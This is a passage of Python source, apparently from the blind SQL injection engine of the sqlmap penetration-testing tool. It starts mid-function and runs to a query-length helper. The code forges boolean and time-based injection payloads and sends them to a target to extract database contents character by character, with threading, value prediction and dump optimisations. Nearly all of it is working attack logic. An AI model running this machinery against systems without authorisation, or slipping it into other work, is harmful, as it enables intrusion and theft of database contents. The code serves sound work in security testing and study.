for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: # Cap the expansion so its length never exceeds what len() can report # (a run of all-true probes would otherwise overflow on 32-bit builds) charTbl = xrange(maxChar + 1, min((maxChar + 1) << shiftTable.pop(), maxChar + 1 + MAX_INT)) originalTbl = xrange(charTbl[0], charTbl[-1] + 1) maxChar = maxValue = charTbl[-1] minValue = charTbl[0] else: # every probe answered positively - the response model was calibrated on # the bare page while each probe also pays the query's own cost (e.g. # COUNT(*) on a huge table), so re-key it and let it rebuild on the payload if timeBasedCompare and kb.responseTimeMode is None and not conf.disableStats: kb.responseTimeMode = expression warnMsg = "all inference probes for the current value answered " warnMsg += "positively. Recalibrating the time-based response model " warnMsg += "against the payload's own query cost" logger.warning(warnMsg) return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, retried, restricted) kb.disableShiftTable = True return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): # Once jitter has been observed this run, confirm EVERY resolved character # (via the best-of-3 vote in validateChar), not only visibly-glitched ones: # a same-HTTP-code junk that resembles a model corrupts a bit INVISIBLY, and a # single-char value (e.g. a boolean --is-dba) has no other char to later trip # detection. Confidence-gated on kb.jitterSeen -> no-op on a clean target. if (timeBasedCompare or unexpectedCode or unexpectedResponse or kb.get("jitterSeen")) and kb.get("timeless") is None and not validateChar(idx, retVal): if restricted: # the character fell outside this column's observed range - re-extract # over the full charset (not timing noise, so no delay increase / retry count) return getChar(idx, asciiTbl, True, retried=retried) if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 kb.jitterSeen = True # a needed re-extraction is itself a jitter signal (covers time-based) # under detected jitter, allow more retries so a transient burst can't exhaust the budget maxRevalidation = MAX_REVALIDATION_STEPS * 3 if kb.jitterSeen else MAX_REVALIDATION_STEPS if (retried or 0) < maxRevalidation: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warning(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset: errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms() raise SqlmapUnsupportedFeatureException(errMsg) candidates = list(originalTbl) bit = 0 while len(candidates) > 1: bits = {} maxCandidate = max(candidates) maxBits = maxCandidate.bit_length() if maxCandidate > 0 else 1 for candidate in candidates: for bit in xrange(maxBits): bits.setdefault(bit, 0) if candidate & (1 << bit): bits[bit] += 1 else: bits[bit] -= 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: candidates = [_ for _ in candidates if _ & mask > 0] else: candidates = [_ for _ in candidates if _ & mask == 0] bit += 1 if candidates: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: if candidates[0] == 0: # Trailing zeros return None else: return decodeIntToUnicode(candidates[0]) elif restricted: # the self-validating '=' failed: the character is outside this column's observed set # (or is end-of-string) - re-extract over the full charset, which validates the value # and detects end-of-string correctly return getChar(idx, asciiTbl, True, retried=retried) # Multi-bit inference ('--multi-bit'): on a listing page a single response carries WHICH rows came # back, i.e. a whole bit vector rather than one boolean, giving several characters per request. It # returns None unless it proved the extracted value back against the target, so everything below # is untouched whenever it is unusable (and it owns its own threading, hence before this branch). multibitValue = multibit.attempt(expression, getChar, length, charsetType, firstChar or partialValue) if multibitValue is not None: finalValue = multibitValue # Go multi-threading (--threads > 1) elif numThreads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar threadData.shared.retrieved = 0 threadData.shared.endIndex = 0 try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.index: if threadData.shared.index[0] - firstChar >= length: return threadData.shared.index[0] += 1 currentCharIndex = threadData.shared.index[0] if kb.threadContinue: val = getChar(currentCharIndex, asciiTbl, not (charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629 if not isListLike(threadData.shared.value): break with kb.locks.value: idx = currentCharIndex - 1 - firstChar threadData.shared.value[idx] = val threadData.shared.retrieved += 1 if idx > threadData.shared.endIndex: threadData.shared.endIndex = idx currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = threadData.shared.endIndex output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start + threadData.shared.retrieved for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ') if startCharIndex > 0: output = ".." + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + ".." if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output)) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if kb.partRun in NAME_PREDICTION_CONTEXTS and len(partialValue) > 0: val = None commonValue, commonPattern, commonCharset, otherCharset = predictValue(partialValue, asciiTbl) # If a single wordlist entry matches the prefix, confirm # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = getTechniqueData().vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) # Did we have luck? if result: if showEta: progress.progress(len(commonValue)) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = getTechniqueData().vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Char-by-char fallback. When Huffman is actually active it is driven over the full # (continuous) charset: the corpus-Markov-seeded tree puts the single likeliest next # character at its root (~1 request), subsuming the common/other charset split. When # Huffman is unavailable (--no-huffman, latched off after repeated escapes, or TIME-BASED # where getChar disables it) the classic reordered-charset bisection is used instead - so # the predicted commonCharset ordering is not thrown away (time-based would otherwise pay # full-charset bisection for every character). if not val: if not conf.noHuffman and not kb.disableHuffman and not timeBasedCompare: val = getChar(index, asciiTbl, True) else: if commonCharset: val = getChar(index, commonCharset, False) if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: # Time-based dump: once a column's character set has proven closed (unchanged for # DUMP_CHARSET_STABLE_ROWS consecutive rows), search only those # observed ordinals via the bit-search (continuousOrder=False), whose final '=' equality # self-validates the character (no separate validateChar). A narrow-charset column (hex, # digits, dates, decimals) collapses from ~log2(full charset)+1 toward ~log2(set)+1 # delayed requests/char. A character outside the observed set makes that '=' fail and is # re-extracted over the full charset (see the restricted escalation in getChar). Time-based # only: boolean has no per-character validation to catch such a miss (and uses Huffman). restrictedTbl = None if (dump and timeBasedCompare and columnKey is not None and charsetType is None and not conf.charset and kb.dumpCharsetStable.get(columnKey, 0) >= DUMP_CHARSET_STABLE_ROWS): with kb.locks.prediction: observed = set(kb.dumpCharset.get(columnKey) or ()) # snapshot (value-parallel safe) if observed and len(observed) <= 64: # include the 0 end-of-string sentinel so end is detected in-band (the bit-search # returns None on 0), avoiding a full-charset escalation at the end of every value restrictedTbl = sorted(observed | set((0,))) if restrictedTbl is not None: val = getChar(index, restrictedTbl, False, expand=False, restricted=True) else: val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: progress.progress(index) elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api: dataToStdout(filterControlChars(val)) # Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break elif charsetType and partialValue[-1:].isspace(): finalValue = partialValue[:-1] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue if not (conf.firstChar or conf.lastChar): # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one hashDBWrite(expression, finalValue) # Adaptive intra-run prediction: remember this extracted name for its enumeration context so # later same-context items sharing structure (e.g. wp_posts / wp_users ...) are predicted faster. # Fed ONLY single-threaded (not kb.multiThreadMode) so it never mutates the pool while a # value-parallel worker is iterating it. Length-capped; a wrong prediction only costs a probe. if (kb.partRun in NAME_PREDICTION_CONTEXTS and not kb.multiThreadMode and kb.commonOutputs is not None and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS): kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException("something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue # Record this cell for the column's low-cardinality guessing cache (frequency-tracked so the most # common values are probed first; bounded so a clearly high-cardinality column stops accumulating). if columnKey is not None and finalValue: # Track the column's low-cardinality cache and observed character set. Guarded by the prediction # lock because value-parallel dump workers update these concurrently. ordinals = set(ord(_c) for _c in finalValue if ord(_c) < 128) with kb.locks.prediction: seen = kb.lowCardCache.setdefault(columnKey, {}) if finalValue in seen or len(seen) <= LOW_CARDINALITY_THRESHOLD + 2: seen[finalValue] = seen.get(finalValue, 0) + 1 if ordinals: existing = kb.dumpCharset.setdefault(columnKey, set()) grew = not ordinals.issubset(existing) # did this row introduce a never-seen character? existing.update(ordinals) # Trust the observed alphabet as closed only after it stays unchanged for several consecutive # rows. A column that keeps growing (monotonic PK, high-entropy text) resets the counter and # never triggers the restricted search, so it is never charged the miss-then-escalate cost. kb.dumpCharsetStable[columnKey] = 0 if grew else kb.dumpCharsetStable.get(columnKey, 0) + 1 # Oracle-reliability litmus: on bulk extraction (dumps / name enumeration) periodically fire a # known-answer differential so an always-true / flaky / degraded channel that would otherwise dump # SILENT garbage instead raises a one-time "results may be unreliable" warning. First value is always # checked (catch it before a whole bad dump), then every ORACLE_LITMUS_CHECK_EVERY-th. if (ORACLE_LITMUS_CHECK_EVERY and finalValue and not kb.reliabilityAlarm and not kb.bruteMode and not hexEncoded and (columnKey is not None or kb.partRun in NAME_PREDICTION_CONTEXTS)): with kb.locks.prediction: kb.litmusCounter += 1 due = (kb.litmusCounter == 1 or kb.litmusCounter % ORACLE_LITMUS_CHECK_EVERY == 0) if due and not oracleReliabilityLitmus(expressionUnescaped, finalValue, timeBasedCompare): kb.reliabilityAlarm = True warnMsg = "the target's responses are inconsistent for known-true/known-false probes " warnMsg += "(reads-everything-true, WAF, or a flaky/degraded channel); extracted data may " warnMsg += "be unreliable. Consider raising '--time-sec', lowering '--threads', or retrying" singleTimeWarnMessage(warnMsg) return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): """ Returns the query output length. """ infoMsg = "retrieving the length of query output" logger.info(infoMsg) start = time.time() lengthExprUnescaped = agent.forgeQueryOutputLength(expression) count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS) debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) if isinstance(length, six.string_types) and length.isspace(): length = 0 return length